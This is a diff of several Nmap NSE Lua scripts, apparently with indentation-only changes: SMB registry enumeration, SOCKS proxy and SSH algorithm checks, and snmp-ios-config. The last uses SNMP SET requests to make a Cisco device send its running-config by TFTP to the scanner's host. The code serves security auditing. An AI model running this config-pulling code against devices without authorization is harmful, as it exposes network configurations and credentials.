table.insert(output, { name = k, tab.dump(cat_tab) } ) table.insert(output, { name = k, tab.dump(cat_tab) } )
end end
table.sort(output, function(a,b) return a.name < b.name end) table.sort(output, function(a,b) return a.name < b.name end)
end end
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end

View File

@@ -61,7 +61,7 @@ dependencies = {"smb-brute"}
-- TODO: This script needs some love -- TODO: This script needs some love
hostrule = function(host) hostrule = function(host)
return smb.get_port(host) ~= nil return smb.get_port(host) ~= nil
end end
---Retrieves the requested value from the registry. ---Retrieves the requested value from the registry.
@@ -72,178 +72,178 @@ end
--@return Status (true or false). --@return Status (true or false).
--@return The value (if status is true) or an error string (if status is false). --@return The value (if status is true) or an error string (if status is false).
local function reg_get_value(smbstate, handle, key, value) local function reg_get_value(smbstate, handle, key, value)
-- Open the key -- Open the key
local status, openkey_result = msrpc.winreg_openkey(smbstate, handle, key) local status, openkey_result = msrpc.winreg_openkey(smbstate, handle, key)
if(status == false) then if(status == false) then
return false, openkey_result return false, openkey_result
end end
-- Query the value -- Query the value
local status, queryvalue_result = msrpc.winreg_queryvalue(smbstate, openkey_result['handle'], value) local status, queryvalue_result = msrpc.winreg_queryvalue(smbstate, openkey_result['handle'], value)
if(status == false) then if(status == false) then
return false, queryvalue_result return false, queryvalue_result
end end
-- Close the key -- Close the key
local status, closekey_result = msrpc.winreg_closekey(smbstate, openkey_result['handle'], value) local status, closekey_result = msrpc.winreg_closekey(smbstate, openkey_result['handle'], value)
if(status == false) then if(status == false) then
return false, closekey_result return false, closekey_result
end end
return true, queryvalue_result['value'] return true, queryvalue_result['value']
end end
local function get_info_registry(host) local function get_info_registry(host)
local result = {} local result = {}
-- Create the SMB session -- Create the SMB session
local status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH) local status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
if(status == false) then if(status == false) then
return false, smbstate return false, smbstate
end end
-- Bind to WINREG service -- Bind to WINREG service
local status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil) local status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return false, bind_result return false, bind_result
end end
-- Open HKEY_LOCAL_MACHINE -- Open HKEY_LOCAL_MACHINE
local status, openhklm_result = msrpc.winreg_openhklm(smbstate) local status, openhklm_result = msrpc.winreg_openhklm(smbstate)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return false, openhklm_result return false, openhklm_result
end end
-- Processor information -- Processor information
result['status-number_of_processors'], result['number_of_processors'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "NUMBER_OF_PROCESSORS") result['status-number_of_processors'], result['number_of_processors'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "NUMBER_OF_PROCESSORS")
if(result['status-number_of_processors'] == false) then if(result['status-number_of_processors'] == false) then
result['number_of_processors'] = 0 result['number_of_processors'] = 0
end end
result['status-os'], result['os'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "OS") result['status-os'], result['os'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "OS")
result['status-path'], result['path'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "Path") result['status-path'], result['path'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "Path")
result['status-processor_architecture'], result['processor_architecture'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_ARCHITECTURE") result['status-processor_architecture'], result['processor_architecture'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_ARCHITECTURE")
result['status-processor_identifier'], result['processor_identifier'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_IDENTIFIER") result['status-processor_identifier'], result['processor_identifier'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_IDENTIFIER")
result['status-processor_level'], result['processor_level'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_LEVEL") result['status-processor_level'], result['processor_level'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_LEVEL")
result['status-processor_revision'], result['processor_revision'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_REVISION") result['status-processor_revision'], result['processor_revision'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_REVISION")
-- remove trailing zero terminator -- remove trailing zero terminator
local num_procs = result['number_of_processors']:match("^[^%z]*") local num_procs = result['number_of_processors']:match("^[^%z]*")
for i = 0, tonumber(num_procs) - 1, 1 do for i = 0, tonumber(num_procs) - 1, 1 do
result['status-~mhz'..i], result['~mhz' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "~MHz") result['status-~mhz'..i], result['~mhz' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "~MHz")
result['status-identifier'..i], result['identifier' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "Identifier") result['status-identifier'..i], result['identifier' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "Identifier")
result['status-processornamestring'..i], result['processornamestring' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "ProcessorNameString") result['status-processornamestring'..i], result['processornamestring' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "ProcessorNameString")
result['status-vendoridentifier'..i], result['vendoridentifier' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "VendorIdentifier") result['status-vendoridentifier'..i], result['vendoridentifier' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "VendorIdentifier")
end end
-- status, result['physicalmemory'] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\ResourceMap\\System Resources\\Physical Memory", ".Translated") -- status, result['physicalmemory'] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\ResourceMap\\System Resources\\Physical Memory", ".Translated")
-- TODO: Known DLLs? -- TODO: Known DLLs?
-- Paging file -- Paging file
result['status-pagingfiles'], result['pagingfiles'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", "PagingFiles") result['status-pagingfiles'], result['pagingfiles'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", "PagingFiles")
result['status-clearpagefileatshutdown'], result['clearpagefileatshutdown'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", "ClearPageFileAtShutdown") result['status-clearpagefileatshutdown'], result['clearpagefileatshutdown'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", "ClearPageFileAtShutdown")
-- OS Information -- OS Information
result['status-csdversion'], result['csdversion'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CSDVersion") result['status-csdversion'], result['csdversion'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CSDVersion")
if(result['status-csdversion'] == false) then if(result['status-csdversion'] == false) then
result['csdversion'] = "(no service packs)" result['csdversion'] = "(no service packs)"
end end
result['status-currentbuildnumber'], result['currentbuildnumber'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentBuildNumber") result['status-currentbuildnumber'], result['currentbuildnumber'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentBuildNumber")
result['status-currenttype'], result['currenttype'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentType") result['status-currenttype'], result['currenttype'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentType")
result['status-currentversion'], result['currentversion'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentVersion") result['status-currentversion'], result['currentversion'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentVersion")
result['status-installdate'], result['installdate'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "InstallDate") result['status-installdate'], result['installdate'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "InstallDate")
if(result['status-installdate'] ~= false) then if(result['status-installdate'] ~= false) then
result['installdate'] = os.date("%Y-%m-%d %H:%M:%S", result['installdate']) result['installdate'] = os.date("%Y-%m-%d %H:%M:%S", result['installdate'])
end end
result['status-productname'], result['productname'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "Productname") result['status-productname'], result['productname'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "Productname")
result['status-registeredowner'], result['registeredowner'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "RegisteredOwner") result['status-registeredowner'], result['registeredowner'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "RegisteredOwner")
result['status-registeredorganization'], result['registeredorganization'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "RegisteredOrganization") result['status-registeredorganization'], result['registeredorganization'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "RegisteredOrganization")
result['status-systemroot'], result['systemroot'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "SystemRoot") result['status-systemroot'], result['systemroot'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "SystemRoot")
result['status-producttype'], result['producttype'] = reg_get_value(smbstate, openhklm_result['handle'], "System\\CurrentControlSet\\Control\\ProductOptions", "ProductType") result['status-producttype'], result['producttype'] = reg_get_value(smbstate, openhklm_result['handle'], "System\\CurrentControlSet\\Control\\ProductOptions", "ProductType")
result['status-productsuite'], result['productsuite'] = reg_get_value(smbstate, openhklm_result['handle'], "System\\CurrentControlSet\\Control\\ProductOptions", "ProductSuite") result['status-productsuite'], result['productsuite'] = reg_get_value(smbstate, openhklm_result['handle'], "System\\CurrentControlSet\\Control\\ProductOptions", "ProductSuite")
-- Driver information -- Driver information
result['status-video_driverdesc'], result['video_driverdesc'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", "DriverDesc") result['status-video_driverdesc'], result['video_driverdesc'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", "DriverDesc")
-- Software versions -- Software versions
result['status-ie_version'], result['ie_version'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Internet Explorer\\Version Vector", "IE") result['status-ie_version'], result['ie_version'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Internet Explorer\\Version Vector", "IE")
result['status-ff_version'], result['ff_version'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Mozilla\\Mozilla Firefox", "CurrentVersion") result['status-ff_version'], result['ff_version'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Mozilla\\Mozilla Firefox", "CurrentVersion")
if(result['status-ff_version'] == false) then if(result['status-ff_version'] == false) then
result['ff_version'] = "<not installed>" result['ff_version'] = "<not installed>"
end end
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return true, result return true, result
end end
action = function(host) action = function(host)
local status, result = get_info_registry(host) local status, result = get_info_registry(host)
if(status == false) then if(status == false) then
return stdnse.format_output(false, result) return stdnse.format_output(false, result)
end end
local response = {} local response = {}
if(result['status-os'] == true) then if(result['status-os'] == true) then
local osdetails = {} local osdetails = {}
osdetails['name'] = "OS Details" osdetails['name'] = "OS Details"
table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber'])) table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
table.insert(osdetails, string.format("Installed on %s", result['installdate'])) table.insert(osdetails, string.format("Installed on %s", result['installdate']))
table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization'])) table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
table.insert(osdetails, string.format("Path: %s", result['path'])) table.insert(osdetails, string.format("Path: %s", result['path']))
table.insert(osdetails, string.format("Systemroot: %s", result['systemroot'])) table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
table.insert(osdetails, string.format("Page files: %s (cleared at shutdown => %s)", result['pagingfiles'], result['clearpagefileatshutdown'])) table.insert(osdetails, string.format("Page files: %s (cleared at shutdown => %s)", result['pagingfiles'], result['clearpagefileatshutdown']))
table.insert(response, osdetails) table.insert(response, osdetails)
local hardware = {} local hardware = {}
hardware['name'] = "Hardware" hardware['name'] = "Hardware"
-- remove trailing zero terminator -- remove trailing zero terminator
local num_procs = result['number_of_processors']:match("^[^%z]*") local num_procs = result['number_of_processors']:match("^[^%z]*")
for i = 0, tonumber(num_procs) - 1, 1 do for i = 0, tonumber(num_procs) - 1, 1 do
if(result['status-processornamestring'..i] == false) then if(result['status-processornamestring'..i] == false) then
result['status-processornamestring'..i] = "Unknown" result['status-processornamestring'..i] = "Unknown"
end end
local processor = {} local processor = {}
processor['name'] = string.format("CPU %d: %s [%dmhz %s]", i, string.gsub(result['processornamestring'..i], ' ', ''), result['~mhz'..i], result['vendoridentifier'..i]) processor['name'] = string.format("CPU %d: %s [%dmhz %s]", i, string.gsub(result['processornamestring'..i], ' ', ''), result['~mhz'..i], result['vendoridentifier'..i])
table.insert(processor, string.format("Identifier %d: %s", i, result['identifier'..i])) table.insert(processor, string.format("Identifier %d: %s", i, result['identifier'..i]))
table.insert(hardware, processor) table.insert(hardware, processor)
end end
table.insert(hardware, string.format("Video driver: %s", result['video_driverdesc'])) table.insert(hardware, string.format("Video driver: %s", result['video_driverdesc']))
table.insert(response, hardware) table.insert(response, hardware)
local browsers = {} local browsers = {}
browsers['name'] = "Browsers" browsers['name'] = "Browsers"
table.insert(browsers, string.format("Internet Explorer %s", result['ie_version'])) table.insert(browsers, string.format("Internet Explorer %s", result['ie_version']))
if(result['status-ff_version']) then if(result['status-ff_version']) then
table.insert(browsers, string.format("Firefox %s", result['ff_version'])) table.insert(browsers, string.format("Firefox %s", result['ff_version']))
end end
table.insert(response, browsers) table.insert(response, browsers)
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
elseif(result['status-productname'] == true) then elseif(result['status-productname'] == true) then
local osdetails = {} local osdetails = {}
osdetails['name'] = 'OS Details' osdetails['name'] = 'OS Details'
osdetails['warning'] = "Access was denied for certain values; try an administrative account for more complete information" osdetails['warning'] = "Access was denied for certain values; try an administrative account for more complete information"
table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber'])) table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
table.insert(osdetails, string.format("Installed on %s", result['installdate'])) table.insert(osdetails, string.format("Installed on %s", result['installdate']))
table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization'])) table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
table.insert(osdetails, string.format("Systemroot: %s", result['systemroot'])) table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
table.insert(response, osdetails) table.insert(response, osdetails)
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end
return stdnse.format_output(false, "Account being used was unable to probe for information, try using an administrative account") return stdnse.format_output(false, "Account being used was unable to probe for information, try using an administrative account")
end end

View File

@@ -49,163 +49,163 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
local try local try
local function sendrequest(socket, oid, setparam) local function sendrequest(socket, oid, setparam)
local payload local payload
local options = {} local options = {}
options.reqId = 28428 -- unnecessary? options.reqId = 28428 -- unnecessary?
payload = snmp.encode(snmp.buildPacket(snmp.buildSetRequest(options, oid,setparam))) payload = snmp.encode(snmp.buildPacket(snmp.buildSetRequest(options, oid,setparam)))
try(socket:send(payload)) try(socket:send(payload))
-- read in any response we might get -- read in any response we might get
local status, response = socket:receive() local status, response = socket:receive()
if ( not(status) ) then return status, response end if ( not(status) ) then return status, response end
local result = snmp.fetchFirst(response) local result = snmp.fetchFirst(response)
return true return true
end end
--- ---
-- Sends SNMP packets to host and reads responses -- Sends SNMP packets to host and reads responses
action = function(host, port) action = function(host, port)
local tftproot = stdnse.get_script_args("snmp-ios-config.tftproot") local tftproot = stdnse.get_script_args("snmp-ios-config.tftproot")
if ( tftproot and not( tftproot:match("[\\/]+$") ) ) then if ( tftproot and not( tftproot:match("[\\/]+$") ) ) then
return "ERROR: tftproot needs to end with slash" return "ERROR: tftproot needs to end with slash"
end end
-- create the socket used for our connection -- create the socket used for our connection
local socket = nmap.new_socket() local socket = nmap.new_socket()
-- set a reasonable timeout value -- set a reasonable timeout value
socket:set_timeout(5000) socket:set_timeout(5000)
-- do some exception handling / cleanup -- do some exception handling / cleanup
local catch = function() socket:close() end local catch = function() socket:close() end
try = nmap.new_try(catch) try = nmap.new_try(catch)
-- connect to the potential SNMP system -- connect to the potential SNMP system
try(socket:connect(host.ip, port.number, "udp")) try(socket:connect(host.ip, port.number, "udp"))
local status, tftpserver, _, _, _ = socket:get_info() local status, tftpserver, _, _, _ = socket:get_info()
if( not(status) ) then if( not(status) ) then
return "ERROR: Failed to determin local ip" return "ERROR: Failed to determin local ip"
end end
-- build a SNMP v1 packet -- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999 (ConfigCopyProtocol is set to TFTP [1] ) -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999 (ConfigCopyProtocol is set to TFTP [1] )
local request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999",1) local request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999",1)
-- Fail silently if the first request doesn't get a proper response -- Fail silently if the first request doesn't get a proper response
if ( not(request) ) then return end if ( not(request) ) then return end
-- since we got something back, the port is definitely open -- since we got something back, the port is definitely open
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
------------------------------------------------- -------------------------------------------------
-- build a SNMP v1 packet -- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.3 (SourceFileType is set to running-config [4] ) -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.3 (SourceFileType is set to running-config [4] )
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999",4) request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999",4)
------------------------------------------------- -------------------------------------------------
-- build a SNMP v1 packet -- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.4 (DestinationFileType is set to networkfile [1] ) -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.4 (DestinationFileType is set to networkfile [1] )
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999",1) request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999",1)
------------------------------------------------- -------------------------------------------------
-- build a SNMP v1 packet -- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddress is set to the IP address of the TFTP server ) -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddress is set to the IP address of the TFTP server )
local tbl = {} local tbl = {}
tbl._snmp = '40' tbl._snmp = '40'
for octet in tftpserver:gmatch("%d+") do for octet in tftpserver:gmatch("%d+") do
table.insert(tbl, octet) table.insert(tbl, octet)
end end
request = sendrequest(socket, nil, { { snmp.str2oid(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999"), tbl } } ) request = sendrequest(socket, nil, { { snmp.str2oid(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999"), tbl } } )
-- request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999",tftpserver) -- request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999",tftpserver)
------------------------------------------------- -------------------------------------------------
-- build a SNMP v1 packet -- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 ) -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 )
-- more options - 1:ipv4, 2:ipv6, 3:ipv4z, 4:ipv6z, 16:dns -- more options - 1:ipv4, 2:ipv6, 3:ipv4z, 4:ipv6z, 16:dns
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999",1) request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999",1)
------------------------------------------------- -------------------------------------------------
-- build a SNMP v1 packet -- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.16 (ServerAddress is set to the IP address of the TFTP server ) -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.16 (ServerAddress is set to the IP address of the TFTP server )
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999",tftpserver) request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999",tftpserver)
------------------------------------------------- -------------------------------------------------
-- build a SNMP v1 packet -- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.6 (CopyFilename is set to IP-config) -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.6 (CopyFilename is set to IP-config)
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999",host.ip .. "-config") request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999",host.ip .. "-config")
------------------------------------------------- -------------------------------------------------
-- build a SNMP v1 packet -- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Start copying by setting CopyStatus to active [1]) -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Start copying by setting CopyStatus to active [1])
-- more options: 1:active, 2:notInService, 3:notReady, 4:createAndGo, 5:createAndWait, 6:destroy -- more options: 1:active, 2:notInService, 3:notReady, 4:createAndGo, 5:createAndWait, 6:destroy
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",1) request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",1)
-- wait for sometime and print the status of filetransfer -- wait for sometime and print the status of filetransfer
tftp.start() tftp.start()
local status, infile = tftp.waitFile(host.ip .. "-config", 10) local status, infile = tftp.waitFile(host.ip .. "-config", 10)
-- build a SNMP v1 packet -- build a SNMP v1 packet
-- get value: .1.3.6.1.4.1.9.9.96.1.1.1.1.10 (Check the status of filetransfer) 1:waiting, 2:running, 3:successful, 4:failed -- get value: .1.3.6.1.4.1.9.9.96.1.1.1.1.10 (Check the status of filetransfer) 1:waiting, 2:running, 3:successful, 4:failed
local options = {} local options = {}
options.reqId = 28428 options.reqId = 28428
local payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999"))) local payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999")))
try(socket:send(payload)) try(socket:send(payload))
local status local status
local response local response
-- read in any response we might get -- read in any response we might get
status, response = socket:receive() status, response = socket:receive()
if (not status) or (response == "TIMEOUT") then if (not status) or (response == "TIMEOUT") then
return "\n ERROR: Failed to receive cisco configuration file" return "\n ERROR: Failed to receive cisco configuration file"
end end
local result local result
result = snmp.fetchFirst(response) result = snmp.fetchFirst(response)
if result == 3 then if result == 3 then
result = ( infile and infile:getContent() ) result = ( infile and infile:getContent() )
if ( tftproot ) then if ( tftproot ) then
local fname = tftproot .. stdnse.filename_escape(host.ip .. "-config") local fname = tftproot .. stdnse.filename_escape(host.ip .. "-config")
local file, err = io.open(fname, "w") local file, err = io.open(fname, "w")
if ( file ) then if ( file ) then
file:write(result) file:write(result)
file:close() file:close()
else else
return "\n ERROR: " .. file return "\n ERROR: " .. file
end end
result = ("\n Configuration saved to (%s)"):format(fname) result = ("\n Configuration saved to (%s)"):format(fname)
end end
else else
result = "Not successful! error code: " .. result .. " (1:waiting, 2:running, 3:successful, 4:failed)" result = "Not successful! error code: " .. result .. " (1:waiting, 2:running, 3:successful, 4:failed)"
end end
------------------------------------------------- -------------------------------------------------
-- build a SNMP v1 packet -- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Destroy settings by setting CopyStatus to destroy [6]) -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Destroy settings by setting CopyStatus to destroy [6])
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",6) request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",6)
try(socket:close()) try(socket:close())
return result return result
end end

View File

@@ -35,7 +35,7 @@ argument.
--</table> --</table>
--@usage --@usage
-- nmap --script=socks-open-proxy \ -- nmap --script=socks-open-proxy \
-- --script-args proxy.url=<host>,proxy.pattern=<pattern> -- --script-args proxy.url=<host>,proxy.pattern=<pattern>
author = "Joao Correa" author = "Joao Correa"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html" license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -159,7 +159,7 @@ local function default_test(host, port)
end end
portrule = shortport.port_or_service({1080, 9050}, portrule = shortport.port_or_service({1080, 9050},
{"socks", "socks4", "socks5", "tor-socks"}) {"socks", "socks4", "socks5", "tor-socks"})
action = function(host, port) action = function(host, port)
local supported_versions local supported_versions

View File

@@ -108,36 +108,36 @@ portrule = shortport.port_or_service(22, "ssh")
-- algorithm name-lists are identical between the server-to-client and -- algorithm name-lists are identical between the server-to-client and
-- client-to-server types. Note that this simply modifies the passed tables. -- client-to-server types. Note that this simply modifies the passed tables.
local combine_types = function(parsed, lists) local combine_types = function(parsed, lists)
local doubles = { local doubles = {
"encryption_algorithms", "encryption_algorithms",
"mac_algorithms", "mac_algorithms",
"compression_algorithms" "compression_algorithms"
} }
for _, i in ipairs(doubles) do for _, i in ipairs(doubles) do
local c2s = i .. "_client_to_server" local c2s = i .. "_client_to_server"
local s2c = i .. "_server_to_client" local s2c = i .. "_server_to_client"
if parsed[c2s] == parsed[s2c] then if parsed[c2s] == parsed[s2c] then
parsed[i] = parsed[c2s] parsed[i] = parsed[c2s]
parsed[c2s] = nil parsed[c2s] = nil
parsed[s2c] = nil parsed[s2c] = nil
table.insert(lists, i) table.insert(lists, i)
else else
table.insert(lists, c2s) table.insert(lists, c2s)
table.insert(lists, s2c) table.insert(lists, s2c)
end end
end end
end end
-- Build and return the output table -- Build and return the output table
local output = function(parsed, lists) local output = function(parsed, lists)
local out = stdnse.output_table() local out = stdnse.output_table()
for _, l in ipairs(lists) do for _, l in ipairs(lists) do
local v = parsed[l] local v = parsed[l]
local a = v:len() > 0 and stdnse.strsplit(",", v) or {} local a = v:len() > 0 and stdnse.strsplit(",", v) or {}
if nmap.verbosity() > 0 then if nmap.verbosity() > 0 then
setmetatable(a, { setmetatable(a, {
__tostring = function(t) __tostring = function(t)
return string.format("(%d)\n %s", #t, table.concat(t, "\n ")) return string.format("(%d)\n %s", #t, table.concat(t, "\n "))
@@ -149,70 +149,70 @@ local output = function(parsed, lists)
